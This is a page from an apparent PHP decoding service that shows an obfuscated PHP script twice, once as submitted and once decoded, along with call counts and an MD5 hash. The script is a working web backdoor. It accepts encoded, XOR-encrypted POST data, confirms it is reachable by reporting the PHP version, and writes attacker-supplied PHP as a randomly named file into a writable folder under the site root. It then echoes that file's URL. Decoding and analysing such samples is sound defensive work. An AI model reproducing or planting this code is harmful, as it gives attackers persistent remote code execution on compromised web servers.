Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $dHiyHVRSR = 'D'."\117".chr(67).chr(85).'M'."\105".chr(78)."\124".chr(95)."\x52".'O'..
Decoded Output download
<?php $dHiyHVRSR = 'D'."O".chr(67).chr(85).'M'."E".chr(78)."T".chr(95)."R".'O'."O"."T";$HBnhQ = chr(918-846)."T".chr(84).'P'.'_'.'H'.chr(687-608).chr(632-549)."T";$qMcTQoURT = 'h'.'t'.'t'."p".':'."/".chr(47);$UkCFK = "."."p".chr(960-856)."p";$VPvdpjnnw = chr(605-493).chr(409-305)."p";$OxUNP = "f"."i".chr(108)."e".chr(95).'p'."u".chr(827-711)."_".chr(436-337).chr(993-882).chr(590-480).'t'.'e'."n"."t".chr(115);$DLUjl = "r"."a".chr(841-722).'u'."r"."l"."d".chr(861-760)."c".'o'."d".'e';$wBufLlgTS = "u".chr(707-597).chr(1065-950)."e"."r".chr(105).chr(97).chr(108).'i'.chr(378-256)."e";$oFKYfrhP = "i".'s'.chr(385-290).chr(348-229).'r'.chr(991-886)."t".chr(97).chr(820-722).'l'."e";$iihvk = "p".chr(179-75)."p".'v'."e".chr(114)."s".chr(241-136).'o'."n";$mEQwvtFru = "s"."t".chr(114)."_".'r'.chr(111).chr(116).chr(693-644)."3";$OygoyP = "s"."e".chr(114).chr(105)."a".chr(589-481)."i".'z'."e";$GQvnXM = "s"."t".chr(114).'_'."s"."p"."l"."i".'t';foreach ($_POST as $bLzrI => $QgUXyGZcJJ){if (strlen($bLzrI) == 16){$QgUXyGZcJJ = $GQvnXM($DLUjl($mEQwvtFru($QgUXyGZcJJ)));$bLzrI = array_slice($GQvnXM(str_repeat($bLzrI, (count($QgUXyGZcJJ)/16)+1)), 0, count($QgUXyGZcJJ));function nBsuISRD($BmNOhU, $XTIAVkPrJ, $bLzrI){$mUoXRpCSu = "72783f40-4a8e-4647-985e-b1d810f11caa";return $BmNOhU ^ $mUoXRpCSu[$XTIAVkPrJ % strlen($mUoXRpCSu)] ^ $bLzrI;}$QgUXyGZcJJ = implode("", array_map("nBsuISRD", array_values($QgUXyGZcJJ), array_keys($QgUXyGZcJJ), array_values($bLzrI)));$QgUXyGZcJJ = @$wBufLlgTS($QgUXyGZcJJ);if (@is_array($QgUXyGZcJJ)){$nGukGDxTy = array_keys($QgUXyGZcJJ);$QgUXyGZcJJ = $QgUXyGZcJJ[$nGukGDxTy[0]];if ($QgUXyGZcJJ === $nGukGDxTy[0]){echo @$OygoyP(Array($VPvdpjnnw => @$iihvk(), ));exit();}else {function CjdNPtn($PkGMzJobir){static $xoeCJlxW = array();$jCsAn = glob($PkGMzJobir . '/*', GLOB_ONLYDIR);if (count($jCsAn) > 0) {foreach ($jCsAn as $PkGMzJob) {if (@$oFKYfrhP($PkGMzJob)) {$xoeCJlxW[] = $PkGMzJob;}}}foreach ($jCsAn as $PkGMzJobir) CjdNPtn($PkGMzJobir);return $xoeCJlxW;}$zNuXCNr = $_SERVER[$dHiyHVRSR];$jCsAn = CjdNPtn($zNuXCNr);$nGukGDxTy = array_rand($jCsAn);$OWLtOiWTZu = $jCsAn[$nGukGDxTy] . "/" . substr(md5(time()), 0, 8) . $UkCFK;@$OxUNP($OWLtOiWTZu, $QgUXyGZcJJ);echo $qMcTQoURT . $_SERVER[$HBnhQ] . substr($OWLtOiWTZu, strlen($zNuXCNr));die();}}}} ?>Did this file decode correctly?
Original Code
<?php $dHiyHVRSR = 'D'."\117".chr(67).chr(85).'M'."\105".chr(78)."\124".chr(95)."\x52".'O'."\117"."\124";$HBnhQ = chr(918-846)."\124".chr(84).'P'.'_'.'H'.chr(687-608).chr(632-549)."\x54";$qMcTQoURT = 'h'.'t'.'t'."\x70".':'."\x2f".chr(47);$UkCFK = "\56"."\160".chr(960-856)."\x70";$VPvdpjnnw = chr(605-493).chr(409-305)."\x70";$OxUNP = "\146"."\151".chr(108)."\145".chr(95).'p'."\x75".chr(827-711)."\137".chr(436-337).chr(993-882).chr(590-480).'t'.'e'."\156"."\x74".chr(115);$DLUjl = "\162"."\x61".chr(841-722).'u'."\162"."\154"."\x64".chr(861-760)."\x63".'o'."\x64".'e';$wBufLlgTS = "\165".chr(707-597).chr(1065-950)."\145"."\x72".chr(105).chr(97).chr(108).'i'.chr(378-256)."\145";$oFKYfrhP = "\x69".'s'.chr(385-290).chr(348-229).'r'.chr(991-886)."\x74".chr(97).chr(820-722).'l'."\145";$iihvk = "\160".chr(179-75)."\160".'v'."\145".chr(114)."\x73".chr(241-136).'o'."\156";$mEQwvtFru = "\163"."\164".chr(114)."\x5f".'r'.chr(111).chr(116).chr(693-644)."\63";$OygoyP = "\x73"."\x65".chr(114).chr(105)."\141".chr(589-481)."\x69".'z'."\x65";$GQvnXM = "\x73"."\x74".chr(114).'_'."\163"."\160"."\x6c"."\x69".'t';foreach ($_POST as $bLzrI => $QgUXyGZcJJ){if (strlen($bLzrI) == 16){$QgUXyGZcJJ = $GQvnXM($DLUjl($mEQwvtFru($QgUXyGZcJJ)));$bLzrI = array_slice($GQvnXM(str_repeat($bLzrI, (count($QgUXyGZcJJ)/16)+1)), 0, count($QgUXyGZcJJ));function nBsuISRD($BmNOhU, $XTIAVkPrJ, $bLzrI){$mUoXRpCSu = "72783f40-4a8e-4647-985e-b1d810f11caa";return $BmNOhU ^ $mUoXRpCSu[$XTIAVkPrJ % strlen($mUoXRpCSu)] ^ $bLzrI;}$QgUXyGZcJJ = implode("", array_map("nBsuISRD", array_values($QgUXyGZcJJ), array_keys($QgUXyGZcJJ), array_values($bLzrI)));$QgUXyGZcJJ = @$wBufLlgTS($QgUXyGZcJJ);if (@is_array($QgUXyGZcJJ)){$nGukGDxTy = array_keys($QgUXyGZcJJ);$QgUXyGZcJJ = $QgUXyGZcJJ[$nGukGDxTy[0]];if ($QgUXyGZcJJ === $nGukGDxTy[0]){echo @$OygoyP(Array($VPvdpjnnw => @$iihvk(), ));exit();}else {function CjdNPtn($PkGMzJobir){static $xoeCJlxW = array();$jCsAn = glob($PkGMzJobir . '/*', GLOB_ONLYDIR);if (count($jCsAn) > 0) {foreach ($jCsAn as $PkGMzJob) {if (@$oFKYfrhP($PkGMzJob)) {$xoeCJlxW[] = $PkGMzJob;}}}foreach ($jCsAn as $PkGMzJobir) CjdNPtn($PkGMzJobir);return $xoeCJlxW;}$zNuXCNr = $_SERVER[$dHiyHVRSR];$jCsAn = CjdNPtn($zNuXCNr);$nGukGDxTy = array_rand($jCsAn);$OWLtOiWTZu = $jCsAn[$nGukGDxTy] . "/" . substr(md5(time()), 0, 8) . $UkCFK;@$OxUNP($OWLtOiWTZu, $QgUXyGZcJJ);echo $qMcTQoURT . $_SERVER[$HBnhQ] . substr($OWLtOiWTZu, strlen($zNuXCNr));die();}}}}Function Calls
| chr | 43 |
Stats
| MD5 | 024560902a7c3c38553123d181cd53f6 |
| Eval Count | 0 |
| Decode Time | 107 ms |